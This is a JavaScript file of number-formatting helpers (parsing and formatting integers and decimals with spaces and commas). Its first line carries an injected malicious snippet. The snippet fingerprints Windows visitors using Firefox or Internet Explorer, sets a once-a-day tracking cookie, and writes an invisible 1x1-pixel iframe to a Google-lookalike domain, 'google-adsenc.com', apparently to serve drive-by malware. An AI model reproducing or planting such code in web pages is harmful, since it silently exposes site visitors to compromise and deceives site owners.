var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}

function lectnb(si) {
  var result = "";
  for(var pi = 0; pi < si.length; pi++) {
	var ci = si.charAt(pi);
	if(ci != "0" || result != "")
	  if(ci >= "0" && ci <= "9")
		result += ci;
	  else if(ci == "," || ci == ".")
		result += ".";
	  else if(ci == "-" && result == "")
		result += "-";
  }
  if(result == "") result = "0";
  return result;
}

function strtoint(si) {
  return parseInt(lectnb(si));
}

function strtofloat(sf) {
  return parseFloat(lectnb(sf));
}

function inttostr(i) {
  var result = "";
  i = Math.round(parseFloat(i));
  si = i.toString();
  if(isNaN(si)) si = "0";
  bi = 0;
  for(pi = si.length-1; pi >= 0; pi--) {
	ci = si.charAt(pi);
	if((bi == 0) && (pi != si.length-1) && (ci != "-"))
	  result = ci + " " + result;
	else
	  result = ci + result;
	bi = (bi+1)%3;
  }
  return result;
}

function floattostr(f) {
  f = Math.round(f*10000)/10000;
  var sf = f.toString();
  var result = "";
  for(pi = 0; pi < sf.length; pi++) {
	cf = sf.charAt(pi);
	if(cf == '.')
	  result += ',';
	else
	  result += cf;
  }
  return result;
}

function number_format(src,nv) {
  nv = parseInt(nv,10);
  if(nv < 0 || nv > 9) nv = 0;
  cm = Math.pow(10,nv);
  s = src.value;
  if(cm > 1) {
	f    = strtofloat(s);
	f2   = parseFloat(Math.round(f*cm)) / cm;
	i2   = Math.floor(f2);
	v2   = Math.round(cm * (f2-i2));
	sv2  = "0000000000" + v2;
	sv2d = sv2.length-nv;
	sv2f = sv2.length;
	sv2  = sv2.substring(sv2d,sv2f);
	sf   = inttostr(i2) + "," + sv2;
  }
  else {
	i = strtoint(s);
	sf = inttostr(i);
  }
  src.value = sf;
}

